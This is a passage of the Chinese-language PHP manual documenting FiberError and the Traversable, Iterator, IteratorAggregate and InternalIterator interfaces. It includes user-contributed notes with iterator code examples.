/* 方法 */
public __construct()
/* 继承的方法 */
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Table of Contents

  • FiberError::__construct — 不允许直接实例化的构造函数

User Contributed Notes

There are no user contributed notes for this page.


不允许直接实例化的构造函数

  • ? FiberError
  • 预定义接口和类 ?
  • PHP Manual
  • FiberError
  • 不允许直接实例化的构造函数

FiberError::__construct

(PHP 8 >= 8.1.0)

FiberError::__construct — 不允许直接实例化的构造函数

说明

public FiberError::__construct()

参数

此函数没有参数。

错误／异常

当调用时抛出 Error 异常。

User Contributed Notes

There are no user contributed notes for this page.


预定义接口和类

Table of Contents

  • Traversable
  • Iterator
  • IteratorAggregate
  • InternalIterator
  • Throwable
  • ArrayAccess
  • Serializable
  • Closure
  • stdClass
  • Generator
  • Fiber
  • WeakReference
  • WeakMap
  • Stringable
  • UnitEnum
  • BackedEnum
  • SensitiveParameterValue

参见 SPL 接口 和 预定义类。

User Contributed Notes

articice at ua dot fm 01-Jul-2015 03:24
Note that PHP extensions also provide interfaces you can implement, for example JsonSerializable.
Here is the full list http://php.net/manual/en/refs.basic.other.php


Traversable （遍历）接口

(PHP 5, PHP 7, PHP 8)

简介

检测一个类是否可以使用 foreach 进行遍历的接口。

无法被单独实现的基本抽象接口。相反，它必须由 IteratorAggregate 或 Iterator 接口实现。

接口摘要

interface Traversable {
}

这个接口没有任何方法，它的作用仅仅是作为所有可遍历类的基本接口。

更新日志

版本 | 说明
7.4.0 | Traversable 接口现在可以由抽象类实现。继承的类必须实现 Iterator 或 IteratorAggregate。

注释

Note:

实现此接口的内置类可以使用 foreach 进行遍历而无需实现 IteratorAggregate 或 Iterator 接口。

Note:

在 PHP 7.4.0 之前，这个内部引擎接口无法在 PHP 脚本中实现。必须改用 IteratorAggregate 或 Iterator。

User Contributed Notes

alan dot bem at gmail dot com 21-Sep-2018 08:27
Actually you can use `Traversable` within your php scripts - you can use it to enforce iterability on user-land objects.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements IteratorAggregate, Stream
{
    public function getIterator() {}
}

$stream = new InMemoryStream();
?>

In case you'd forgot about implementing `IteratorAggregate` or `Iterator` interfaces, fatal error will be raised when instantiating objects in question.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements Stream {}

$stream = new InMemoryStream(); // Fatal error: Class InMemoryStream must implement interface Traversable as part of either Iterator or IteratorAggregate in Unknown on line 0
?>
douglas at reith dot com dot au 26-Jun-2017 08:09
The PHP7 iterable pseudo type will match both Traversable and array. Great for return type-hinting so that you do not have to expose your Domain to Infrastructure code, e.g. instead of a Repository returning a Cursor, it can return hint 'iterable':
<?php
UserRepository::findUsers(): iterable
?>

Link: http://php.net/manual/en/migration71.new-features.php#migration71.new-features.iterable-pseudo-type

Also, instead of:
<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>

You can now do with the is_iterable() method:
<?php
    if ( !is_iterable( $items ))
        //Throw exception here
?>

Link:  http://php.net/manual/en/function.is-iterable.php
cobaltbluedw 30-Dec-2015 09:50
NOTE:  While objects and arrays can be traversed by foreach, they do NOT implement "Traversable", so you CANNOT check for foreach compatibility using an instanceof check.

Example:

$myarray = array('one', 'two', 'three');
$myobj = (object)$myarray;

if ( !($myarray instanceof \Traversable) ) {
    print "myarray is NOT Traversable";
}
if ( !($myobj instanceof \Traversable) ) {
    print "myobj is NOT Traversable";
}

foreach ($myarray as $value) {
    print $value;
}
foreach ($myobj as $value) {
    print $value;
}

Output:
myarray is NOT Traversable
myobj is NOT Traversable
one
two
three
one
two
three
ajf at ajf dot me 23-Dec-2014 12:22
Note that all objects can be iterated over with foreach anyway and it'll go over each property. This just describes whether or not the class implements an iterator, i.e. has custom behaviour.
kevinpeno at gmail dot com 02-Aug-2010 10:06
While you cannot implement this interface, you can use it in your checks to determine if something is usable in for each. Here is what I use if I'm expecting something that must be iterable via foreach.

<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>


Iterator（迭代器）接口

(PHP 5, PHP 7, PHP 8)

简介

可在内部迭代自己的外部迭代器或类的接口。

接口摘要

interface Iterator extends Traversable {
/* 方法 */
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

预定义迭代器

PHP 已经提供了一些用于日常任务的迭代器。 详细列表参见 SPL 迭代器。

示例

Example #1 基本用法

这个例子展示了使用 foreach 时，迭代器方法的调用顺序。

<?php
class myIterator implements Iterator {
private $position = 0;
private $array = array(
"firstelement",
"secondelement",
"lastelement",
);

public function __construct() {
$this->position = 0;
}

public function rewind(): void {
var_dump(__METHOD__);
$this->position = 0;
}

#[\ReturnTypeWillChange]
public function current() {
var_dump(__METHOD__);
return $this->array[$this->position];
}

#[\ReturnTypeWillChange]
public function key() {
var_dump(__METHOD__);
return $this->position;
}

public function next(): void {
var_dump(__METHOD__);
++$this->position;
}

public function valid(): bool {
var_dump(__METHOD__);
return isset($this->array[$this->position]);
}
}

$it = new myIterator;

foreach($it as $key => $value) {
var_dump($key, $value);
echo "\n";
}
?>

以上示例的输出类似于：

string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"

参见

参见 遍历对象。

Table of Contents

  • Iterator::current — 返回当前元素
  • Iterator::key — 返回当前元素的键
  • Iterator::next — 向前移动到下一个元素
  • Iterator::rewind — 返回到迭代器的第一个元素
  • Iterator::valid — 检查当前位置是否有效

User Contributed Notes

InvisibleSmiley 20-Jul-2022 07:32
If you implemented Iterator methods next() and rewind() by calling array functions next() and reset() and returning their results, be advised that this violates the tentative return types (void in both cases) introduced with PHP 8.1.

You can add the #[\ReturnTypeWillChange] attribute to both method implementations but that will only delay the issue until PHP 9.0 comes around.

Better adapt your implementations now (stop returning anything from these methods) and, if need be, only add the return type declarations later.
Andrew Roffey 09-Feb-2021 10:41
/**
 * Iterate  a directory tree by walking the tree. For each directory in
 * the tree rooted at directory $parent_dir (including $parent_dir
 * itself), it returns $dirpath => array($dirnames, $filenames).
 *
 * $dirpath is a string, the path to the directory. $dirnames is a list
 * of the names of the subdirectories in dirpath (excluding '.' and
 * '..'). $filenames is a list of the names of the non-directory files in
 * $dirpath.
 *
 * Inspired by Python os.walk; see
 * https://docs.python.org/3/library/os.html#os.walk
 * Implemented as an iterator rather than a generator.
 *
 * @return array
 */

class walker implements Iterator {
  private $parent_dir = '';
  private $d = 0; // iterator
  private $dirs = array(); // indexed by iterator
  private $dirstack;
  private $discovered = array(); // indexed by directory
  private $v; // current directory
  private $cur_dirnames = array(); // current subdirs
  private $cur_filenames = array(); // current files in directory

  public function __construct($parent_dir) {
    $this->parent_dir = $parent_dir;
    $this->d = 0;
    $this->dirs[$this->d] = $parent_dir;
    $this->dirstack = new SplStack();
    $this->dirstack->push($parent_dir);
    $this->discovered = array($parent_dir => true);
    $this->v = $parent_dir;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    $this->next();
  }

  public function rewind() {
    $this->__construct($this->parent_dir);
  }

  public function current() {
    return array($this->cur_dirnames, $this->cur_filenames);
  }

  public function key() {
    return $this->v;
  }

  public function next() {
    ++$this->d;
    $this->v = $this->dirstack->pop();
    $this->dirs[$this->d] = $this->v;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    if (!$dh = opendir($this->v)) {
      // opendir emits E_WARNING if unable to open directory, likely due
      // to a permissions issue or directory removed before we could get
      // there
      return;
    }
    // discover the directories, return directories and files
    while (false !== ($fn = readdir($dh))) {
      if ($fn != '.' && $fn !== '..') {
        $fullfn = $this->v . '/' . $fn;
        if (is_dir($fullfn)) {
      $this->cur_dirnames[] = $fn;
          if (!array_key_exists($fullfn, $this->discovered)) {
            $this->discovered[$fullfn] = true;
        $this->dirstack->push($fullfn);
      }
        } else {
          $this->cur_filenames[] = $fn;
        }
      }
    }
    closedir($dh);
  }

  public function valid() {
    return $this->dirstack->count();
  }
}

$tree = new walker("/tmp");
foreach ($tree as $parent_dir => $nodes) {
  $subdirs = $nodes[0];
  $files = $nodes[1];
  printf("%s\n", $parent_dir);
  if ($subdirs) printf("  %s\n", implode("/\n  ", $subdirs));
  if ($files) printf("  %s\n", implode("\n  ", $files));
  print("\n");
}
sofe2038 at gmail dot com 22-Jul-2020 03:26
The "scalar" restriction on key() is no longer true. A simple example is that Generators can yield non-scalar keys.
jeroen at asystance dot nl 16-Dec-2019 03:57
RocketInABog's seemingly trivial tIterator_array class has one huge problem (which just cost me a couple of hours).

Consider this example, using their class:
<?php
$values = ['one', 'two', 'three'];
foreach ($values as $v) {}
$current = current($values);
// $current === 'one', as you would expect

$iterator = new tIterator_array($values);
foreach ($iterator as $v) {}
$current = $iterator->current();    // do NOT use current($iterator) or key($iterator)!!!
// $current === false, but why?
?>
The problem is that foreach resets arrays, but doesn't call Iterator::rewind on objects!

I also think it's a design mistake that foreach works with Iterator, but current(), key() and end() don't - these iterate over the objects fields.

I just refactored some code to use an Iterator instead of an array, and it broke in several very unexpected ways because of these differences.
shaun at slickdesign dot com dot au 12-Dec-2018 03:09
With a large number of `current`, `next`, `key`, and `reset` array function implementations, care needs to be taken to ensure that deletions and nested loops are accounted for appropriately for each situation.

The following class has been copied from a previous comment and modified to allow it to be used within nested loops.

<?php
# Comment removed for brevity.

class tIterator_array implements Iterator {
  private $myArray;
  // Store each iteration in a separate array.
  private $iterations = [];
  private $i = -1;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    // Rewind is called at the start of the loop. This is where we can append the current array to start our new iteration.
    $this->iterations[] = $this->myArray;
    $this->i++;
    return reset( $this->iterations[ $this->i ] );
  }
  function current() {
    return current( $this->iterations[ $this->i ] );
  }
  function key() {
    return key( $this->iterations[ $this->i ] );
  }
  function next() {
    return next( $this->iterations[ $this->i ] );
  }
  function valid() {
    if ( null === $this->key() ) {
      // Standard valid check. When null is returned the loop has finished, so we decrement the index and remove the latest iteration.
      array_pop( $this->iterations );
      $this->i--;
      return false;
    }
    return true;
  }
}

// Example:
$a = new tIterator_array( [1, 2] );
foreach ( $a as $k => $v ) {
  echo " $k => $v:\n";
  foreach ( $a as $k => $v ) {
    echo "  $k => $v,\n";
  }
}
// Output:
# 0 => 1:
#  0 => 1,
#  1 => 2,
# 1 => 2:
#  0 => 1,
#  1 => 2,

?>
Anonymous 14-Feb-2016 12:51
An interesting fact that I didn't read in the doc:

the key() method is called only if your foreach loop needs it.

For instance, the following loop calls the key() method:

<?php
foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

But the following loop doesn't:

<?php
foreach($it as $value) {
    var_dump($value);
    echo "\n";
}
?>
Gilles A 04-Apr-2014 03:41
Examples of use
<?php
class myIterator implements Iterator
    {
    private
        $_array = array();
    public function __construct(array $array)
        {
        $this->_array = $array;
        }
    public function rewind()
        {
        reset($this->_array);
        }
    public function current()
        {
        return current($this->_array);
        }
    public function key()
        {
        return key($this->_array);
        }
    public function next()
        {
        next($this->_array);
        }
    public function valid()
        {
        return $this->key() !== null;
        }
    }

$it = new myIterator(array('foo_1' => 'bar_1','foo_2' => 'bar_2'));

//example 1 : foreach

foreach($it as $key => $value)
    {
    var_dump($key, $value);
    }

//example 2 : while

$it -> rewind();
while($it->valid())
    {
    var_dump($it->key(), $it->current());

    $it->next();
    }

//example 3 : for

for($it->rewind();$it->valid();$it->next())
    {
   var_dump($it->key(), $it->current());
    }
?>
Daniel Lo Nigro 23-Jun-2013 06:33
If you're using PHP 5.5 or above and are creating a simple iterator, consider using a generator function instead. There is significantly less boilerplate code and the code is easier to read. http://au1.php.net/generators
fetidfrog at gmail dot com 10-May-2012 03:11
If you have a custom iterator that may throw an exception in it's current() method, there is no way to catch the exception without breaking a foreach loop.

The following for loop allows you to skip elements for which $iterator->current() throws an exception, rather than breaking the loop.

<?php
for ($iterator->rewind(); $iterator->valid(); $iterator->next()) {
    try {
        $value = $iterator->current();
    } catch (Exception $exception) {
        continue;
    }

    # ...
}
?>
dwlnetnl at users dot sourceforge dot net 02-Oct-2011 02:06
Be aware that when you call a method like current($this) within the Iterator class, the properties of the class are returned and the Iterator's current() isn't called. This is because current() applies to arrays and the Iterator class is then interpretated as an array.
ct 28-Jul-2011 12:00
<?php

/*
 * An implementation of the Iterator
 * with simpleXML to remove a node and generate a new XML file.
 *
 * project.xml file:
 * <?xml version="1.0" encoding="UTF-8"?>
 * ...
 * <data>
 *  <item>
 *      <value>one</value>
 *  </item>
 *  <item>
 *      <value>two</value>
 *  </item>
 *  ...
 * </data>
 *
 */

class parseXML implements Iterator {

    private $position;
    private $xml;
    public $item;

    public function __construct() {

        $this->position = 0;
        $this->xml = simplexml_load_file('project.xml');

    }

    public function unsetItem() {

        foreach ($this as $key => $value) {

            if ($value->value == $this->item ) {

                unset($this->xml->data->item[$key]);

            }
        }

        $this->mkXML();
    }

    public function mkXML() {

        file_put_contents('project.xml', $this->xml->asXML() );

    }

    function rewind() {
        $this->position = 0;
    }

    function current() {
        return $this->xml->data->item[$this->position];
    }

    function key() {
        return $this->position;
    }

    function next() {
        ++$this->position;
    }

    function valid() {
        return isset($this->xml->data->item[$this->position]);
    }

}

$itemRemove = new parseXML();

$itemRemove->item = "one";

$itemRemove->unsetItem();

?>
geompse at gmail dot com 03-Jul-2011 06:43
Be carefull with Iterator when using nested loops or deleting items inside the collection while looping over it.
It can be tricky to detect.
This unexpected behavior is pertinent if you think about it long enough.

<?php

foreach($it as $key => $value)
    echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach($it as $key => $value)
        echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach(clone $it as $key => $value)
        echo $value;
#output: value1, value2, value3, value1, value2, value3, value1, value2, value3

foreach($it as $key => $value)
{
    echo $value;
    array_shift($it->values);
}
#ouput: value1, value3

?>
kent at marketacumen dot com 13-Dec-2010 01:15
For Iterators implement database queries, what I've found is that if you want to chain multiple iterators together using a "MultipleIterator" then you *do not* want ::rewind() to actually execute your query, especially if it's expensive.

Instead, what I've done is implement that portion in "valid."

e.g.

<?php
class Database_Result_Iterator {
    ...
    private $_db_resource = null;
    private $_loaded = false;
    private $_valid = false;

    function rewind() {
        if ($this->_db_resource) {
            mysql_free($this->_db_resource);
            $this->_db_resource = null;
        }
        $this->_loaded = false;
        $this->_valid = false;
    }

    function valid() {
        if ($this->_loaded) {
            $this->load();
        }
        return $this->_valid;
    }

    private function load() {
        $this->_db_resource = mysql_query(...);
        $this->_loaded = true;
        $this->next(); // Sets _valid
    }
}
?>

That way if you chain multiple queries in a "MultipleIterator" together, the "rewind" call (which rewinds all iterators at once) does not execute every query at once.

In addition, I found that the MultipleIterator may now work best for other reasons, but still, the above is a good idea to postpone queries until the last possible moment they are needed.
robert_e_lee at dell dot com 11-Mar-2010 10:08
Order of operations when using a foreach loop:

1. Before the first iteration of the loop, Iterator::rewind() is called.
2. Before each iteration of the loop, Iterator::valid() is called.
3a. It Iterator::valid() returns false, the loop is terminated.
3b. If Iterator::valid() returns true, Iterator::current() and
Iterator::key() are called.
4. The loop body is evaluated.
5. After each iteration of the loop, Iterator::next() is called and we repeat from step 2 above.

This is roughly equivalent to:

<?php
$it->rewind();

while ($it->valid())
{
    $key = $it->key();
    $value = $it->current();

    // ...

    $it->next();
}
?>

The loop isn't terminated until Iterator::valid() returns false or the body of the loop executes a break statement.

The only two methods that are always executed are Iterator::rewind() and Iterator::valid() (unless rewind throws an exception).

The Iterator::next() method need not return anything. It is defined as returning void. On the other hand, sometimes it is convenient for this method to return something, in which case you can do so if you want.

If your iterator is doing something expensive, like making a database query and iterating over the result set, the best place to make the query is probably in the Iterator::rewind() implementation.

In this case, the construction of the iterator itself can be cheap, and after construction you can continue to set the properties of the query all the way up to the beginning of the foreach loop since the
Iterator::rewind() method isn't called until then.

Things to keep in mind when making a database result set iterator:

* Make sure you close your cursor or otherwise clean up any previous query at the top of the rewind method. Otherwise your code will break if the same iterator is used in two consecutive foreach loops when the first loop terminates with a break statement before all the results are iterated over.

* Make sure your rewind() implementation tries to grab the first result so that the subsequent call to valid() will know whether or not the result set is empty. I do this by explicitly calling next() from the end of my rewind() implementation.

* For things like result set iterators, there really isn't always a "key" that you can return, unless you know you have a scalar primary key column in the query. Unfortunately, there will be cases where either the iterator doesn't know the primary key column because it isn't providing the query, the nature of the query is such that a primary key isn't applicable, the iterator is iterating over a table that doesn't have one, or the iterator is iterating over a table that has a compound primary key. In these cases, key() can return either:
the row index (based on a simple counter that you provide), or can simply return null.

Iterators can also be used to:

* iterate over the lines of a file or rows of a CSV file
* iterate over the characters of a string
* iterate over the tokens in an input stream
* iterate over the matches returned by an xpath expression
* iterate over the matches returned by a regexp
* iterate over the files in a folder
* etc...
Anthony Sterling 17-Sep-2009 02:20
Here's a Fibonacci example using the formula, rather than addition.

<?php
/**
 * @author    Anthony Sterling
 */
class FibonacciSequence implements Iterator
{
    protected
        $limit        = 0;

    protected
        $key        = 0;

    public function __construct($limit = 0)
    {
        $this->limit = (integer)$limit;
    }

    public function current()
    {
        return round(
            (pow(((1 + sqrt(5)) / 2), $this->key) - pow((-1 / (1 + sqrt(5)) / 2), $this->key)) / sqrt(5),
            null
        );
    }

    public function key()
    {
        return $this->key;
    }

    public function next()
    {
        $this->key++;
    }

    public function rewind()
    {
        $this->key = 0;
    }

    public function valid()
    {
        return $this->key < $this->limit;
    }
}

foreach(new FibonacciSequence() as $number)
{
    printf(
        '%d<br />',
        $number
    );
}
/*
    0
    1
    1
    2
    3
    5
    8
    13
    21
    34
    55
    89
    144
    233
    377
    610
    987
    1597
    2584
    4181
    6765
    10946
    17711
    28657
    46368
    75025
    121393
    196418
    317811
    514229
*/
?>

Anthony.
Geoffrey Sneddon 23-May-2009 10:42
So, playing around with iterators in PHP (coming from languages where I'm spoiled with generators to do things like this), I wrote a quick piece of code to give the Fibonacci sequence (to infinity, though only the first terms up to F_{10} are output).

<?php

class Fibonacci implements Iterator {
    private $previous = 1;
    private $current = 0;
    private $key = 0;

    public function current() {
        return $this->current;
    }

    public function key() {
        return $this->key;
    }

    public function next() {
        $newprevious = $this->current;
        $this->current += $this->previous;
        $this->previous = $newprevious;
        $this->key++;
    }

    public function rewind() {
        $this->previous = 1;
        $this->current = 0;
        $this->key = 0;
    }

    public function valid() {
        return true;
    }
}

$seq = new Fibonacci;
$i = 0;
foreach ($seq as $f) {
    echo "$f\n";
    if ($i++ === 10) break;
}
?>
RocketInABog at techno-monks dot net 11-May-2009 04:35
<?php
# - Here is an implementation of the Iterator interface for arrays
#     which works with maps (key/value pairs)
#     as well as traditional arrays
#     (contiguous monotonically increasing indexes).
#   Though it pretty much does what an array
#     would normally do within foreach() loops,
#     this class may be useful for using arrays
#     with code that generically/only supports the
#     Iterator interface.
#  Another use of this class is to simply provide
#     object methods with tightly controlling iteration of arrays.

class tIterator_array implements Iterator {
  private $myArray;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    return reset($this->myArray);
  }
  function current() {
    return current($this->myArray);
  }
  function key() {
    return key($this->myArray);
  }
  function next() {
    return next($this->myArray);
  }
  function valid() {
    return key($this->myArray) !== null;
  }
}

?>
mike dot thornton at firstroi dot com 05-May-2009 01:40
It's important to note that following won't work if you have null values.

<?php
    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
?>

Other examples have shown the following which won't work if you have false values:

<?php
    function valid() {
        return $this->current() !== false;
    }
?>

Instead use:

<?php
    function valid() {
        return array_key_exists($this->array, $this->position);
    }
?>

Or the following if you do not store the position.

<?php
    public function valid() {
        return !is_null(key($this->array));
    }
?>


返回当前元素

  • ? Iterator
  • Iterator::key ?
  • PHP Manual
  • Iterator
  • 返回当前元素

Iterator::current

(PHP 5, PHP 7, PHP 8)

Iterator::current — 返回当前元素

说明

public Iterator::current(): mixed

返回当前元素。

参数

此函数没有参数。

返回值

可返回任何类型。

User Contributed Notes

There are no user contributed notes for this page.


返回当前元素的键

  • ? Iterator::current
  • Iterator::next ?
  • PHP Manual
  • Iterator
  • 返回当前元素的键

Iterator::key

(PHP 5, PHP 7, PHP 8)

Iterator::key — 返回当前元素的键

说明

public Iterator::key(): mixed

返回当前元素的键。

参数

此函数没有参数。

返回值

成功返回标量，失败则返回 null。

错误／异常

失败时分发 E_NOTICE 级错误。

User Contributed Notes

sofe2038 at gmail dot com 26-Aug-2020 04:26
This function may return any type, not just scalar, for some Iterator types. In particular, it is very trivial to write a generator function that yields arbitrary keys:

<?php
function foo() {
  yield null => 1;
  yield new stdclass => 2;
}
?>
michaelgranados at gmail dot com 26-Jun-2013 03:46
Since PHP 5.5.X foreach can accept non scalar items. So the return can be anything ;)
Lszl Lajos Jnszky 14-Mar-2012 12:34
And converts everything to integer except string, so in php the post process could be:

    public function key() {
        $yourKey = $this->createYourKey();
        if (is_object($yourKey) || is_array($yourKey))
            throw new Exception('Array and Object not allowed.');
        elseif (is_string($yourKey))
            return $yourKey;
        else
            return (int) $yourKey;
    }


向前移动到下一个元素

  • ? Iterator::key
  • Iterator::rewind ?
  • PHP Manual
  • Iterator
  • 向前移动到下一个元素

Iterator::next

(PHP 5, PHP 7, PHP 8)

Iterator::next — 向前移动到下一个元素

说明

public Iterator::next(): void

移动当前位置到下一个元素。

Note:

此方法在 foreach 循环之后被调用。

参数

此函数没有参数。

返回值

任何返回都将被忽略。

User Contributed Notes

There are no user contributed notes for this page.


返回到迭代器的第一个元素

  • ? Iterator::next
  • Iterator::valid ?
  • PHP Manual
  • Iterator
  • 返回到迭代器的第一个元素

Iterator::rewind

(PHP 5, PHP 7, PHP 8)

Iterator::rewind — 返回到迭代器的第一个元素

说明

public Iterator::rewind(): void

返回到迭代器的第一个元素。

Note:

当开始一个 foreach 循环时，这是第一个被调用的方法。它将不会在 foreach 循环之后被调用。

参数

此函数没有参数。

返回值

任何返回都将被忽略。

User Contributed Notes

al 24-Feb-2016 03:56
Builtin PHP function is ?reset?.

Don't mix this with builtin function ?rewind? which operates on file handle.


检查当前位置是否有效

  • ? Iterator::rewind
  • IteratorAggregate ?
  • PHP Manual
  • Iterator
  • 检查当前位置是否有效

Iterator::valid

(PHP 5, PHP 7, PHP 8)

Iterator::valid — 检查当前位置是否有效

说明

public Iterator::valid(): bool

此方法在 Iterator::rewind() 和 Iterator::next() 方法之后被调用以此用来检查当前位置是否有效。

参数

此函数没有参数。

返回值

返回将被转换为bool 。成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Voitcus at gmail dot com 23-Mar-2013 09:08
If your class implements also ArrayAccess interface, you could use as valid() body

function valid(){
   return $this->offsetExists($this->position);
}
seva dot lapsha at gmail dot com 01-Aug-2009 06:19
If Iterator::valid() returns false, the foreach() loop will be terminated.


IteratorAggregate（聚合式迭代器）接口

(PHP 5, PHP 7, PHP 8)

简介

创建外部迭代器的接口。

接口摘要

interface IteratorAggregate extends Traversable {
/* 方法 */
public getIterator(): Traversable
}

Example #1 基本用法

<?php
class myData implements IteratorAggregate {
public $property1 = "Public property one";
public $property2 = "Public property two";
public $property3 = "Public property three";
public $property4 = "";

public function __construct() {
$this->property4 = "last property";
}

public function getIterator(): Traversable {
return new ArrayIterator($this);
}
}

$obj = new myData;

foreach($obj as $key => $value) {
var_dump($key, $value);
echo "\n";
}
?>

以上示例的输出类似于：

string(9) "property1"
string(19) "Public property one"

string(9) "property2"
string(19) "Public property two"

string(9) "property3"
string(21) "Public property three"

string(9) "property4"
string(13) "last property"

Table of Contents

  • IteratorAggregate::getIterator — 获取一个外部迭代器

User Contributed Notes

Martin Speer 04-Apr-2019 08:40
You can use yield from in getIterator in recent PHP 7 versions:

<?php

class Example implements \IteratorAggregate
{
  protected $data = [];

  public function __construct(array $data)
  {
    $this->data = $data;
  }

  public function getIterator()
  {
    yield from $this->data;
  }
}

$test = new Example([1, 2, 3]);

foreach ($test as $node) {
  echo $test, PHP_EOL;
}

/*
 * Outputs:
 *
 * 1
 * 2
 * 3
 */ ?>
trumbull dot j at gmail dot com 14-May-2017 12:42
It might seem obvious, but you can return a compiled generator from your IteratorAggregate::getIterator() implementation.

<?php
class Collection implements IteratorAggregate
{
    private $items = [];

    public function __construct($items = [])
    {
        $this->items = $items;
    }

    public function getIterator()
    {
        return (function () {
            while(list($key, $val) = each($this->items)) {
                yield $key => $val;
            }
        })();
    }
}

$data = [ 'A', 'B', 'C', 'D' ];
$collection = new Collection($data);

foreach ($collection as $key => $val) {
    echo sprintf("[%s] => %s\n", $key, $val);
}
?>
ribeirocfb at gmail dot com 24-Aug-2015 11:21
Example of the Iterator Pattern

<?php

namespace DesignPaterns;

class BookCollection implements \IteratorAggregate
{
    private $a_titles = array();

    public function getIterator()
    {
        return new BookIterator($this);
    }

    public function addTitle($string)
    {
        $this->a_titles[] = $string;
    }

    public function getTitle($key)
    {
        if (isset($this->a_titles[$key])){
            return $this->a_titles[$key];
        }
        return null;
    }

    public function is_empty()
    {
        return empty($a_titles);
    }
}

<?php

namespace DesignPaterns;

class BookIterator implements \Iterator
{
    private $i_position = 0;
    private $booksCollection;

    public function __construct(BookCollection $booksCollection)
    {
        $this->booksCollection = $booksCollection;
    }

    public function current()
    {
        return $this->booksCollection->getTitle($this->i_position);
    }

    public function key()
    {
        return $this->i_position;
    }

    public function next()
    {
        $this->i_position++;
    }

    public function rewind()
    {
        $this->i_position = 0;
    }

    public function valid()
    {
        return !is_null($this->booksCollection->getTitle($this->i_position));
    }
}

<?php require 'vendor/autoload.php';

use DesignPaterns\BookCollection;

$booksCollection = new BookCollection();
$booksCollection->addTitle('Design Patterns');
$booksCollection->addTitle('PHP7 is the best');
$booksCollection->addTitle('Laravel Rules');
$booksCollection->addTitle('DHH Rules');

foreach($booksCollection as $book){
    var_dump($book);
}

/* === Output ===
 * string(15) "Design Patterns"
 * string(16) "PHP7 is the best"
 * string(13) "Laravel Rules"
 * string(9) "DHH Rules"
*/
Lubaev.K 16-Jun-2013 11:49
<?php
// IteratorAggregate
// Create indexed and associative arrays.

class myData implements IteratorAggregate {

    private $array = [];
    const TYPE_INDEXED = 1;
    const TYPE_ASSOCIATIVE = 2;

    public function __construct( array $data, $type = self::TYPE_INDEXED ) {
        reset($data);
        while( list($k, $v) = each($data) ) {
            $type == self::TYPE_INDEXED ?
            $this->array[] = $v :
            $this->array[$k] = $v;
        }
    }

    public function getIterator() {
        return new ArrayIterator($this->array);
    }

}

$obj = new myData(['one'=>'php','javascript','three'=>'c#','java',], /*TYPE 1 or 2*/ );

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo PHP_EOL;
}

// if TYPE == 1
#int(0)
#string(3) "php"
#int(1)
#string(10) "javascript"
#int(2)
#string(2) "c#"
#int(3)
#string(4) "java"

// if TYPE == 2
#string(3) "one"
#string(3) "php"
#int(0)
#string(10) "javascript"
#string(5) "three"
#string(2) "c#"
#int(1)
#string(4) "java"
?>

Good luck!
Tab Atkins 29-Apr-2012 02:11
Note that, at least as of 5.3, you still aren't allowed to return a normal Array from getIterator().

In some places, the docs wrap the array into an ArrayObject and return that.  DON'T DO IT.  ArrayObject drops any empty-string keys on the floor when you iterate over it (again, at least as of 5.3).

Use ArrayIterator instead.  I wouldn't be surprised if it didn't have its own set of wonderful bugs, but at the very least it works correctly when you use it with this method.


获取一个外部迭代器

  • ? IteratorAggregate
  • InternalIterator ?
  • PHP Manual
  • IteratorAggregate
  • 获取一个外部迭代器

IteratorAggregate::getIterator

(PHP 5, PHP 7, PHP 8)

IteratorAggregate::getIterator — 获取一个外部迭代器

说明

public IteratorAggregate::getIterator(): Traversable

返回一个外部迭代器。

参数

此函数没有参数。

返回值

实现了 Iterator 或 Traversable 接口的类的一个实例。

错误／异常

失败时抛出 Exception。

User Contributed Notes

There are no user contributed notes for this page.


The InternalIterator class

(PHP 8)

简介

Class to ease implementing IteratorAggregate for internal classes.

类摘要

final class InternalIterator implements Iterator {
/* 方法 */
private __construct()
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Table of Contents

  • InternalIterator::__construct — 禁止直接实例化私有构造方法
  • InternalIterator::current — 返回当前元素
  • InternalIterator::key — 返回当前元素的键
  • InternalIterator::next — 向前移动到下一个元素
  • InternalIterator::rewind — 迭代器返回到第一个元素
  • InternalIterator::valid — 检测当前位置是否有效

User Contributed Notes

There are no user contributed notes for this page.


禁止直接实例化私有构造方法

  • ? InternalIterator
  • InternalIterator::current ?
  • PHP Manual
  • InternalIterator
  • 禁止直接实例化私有构造方法

InternalIterator::__construct

(PHP 8)

InternalIterator::__construct — 禁止直接实例化私有构造方法

说明

private InternalIterator::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


返回当前元素

  • ? InternalIterator::__construct
  • InternalIterator::key ?
  • PHP Manual
  • InternalIterator
  • 返回当前元素

InternalIterator::current

(PHP 8)

InternalIterator::current — 返回当前元素

说明

public InternalIterator::current(): mixed

返回当前元素。

参数

此函数没有参数。

返回值

返回当前元素。

User Contributed Notes

There are no user contributed notes for this page.


返回当前元素的键

  • ? InternalIterator::current
  • InternalIterator::next ?
  • PHP Manual
  • InternalIterator
  • 返回当前元素的键

InternalIterator::key

(PHP 8)

InternalIterator::key — 返回当前元素的键

说明

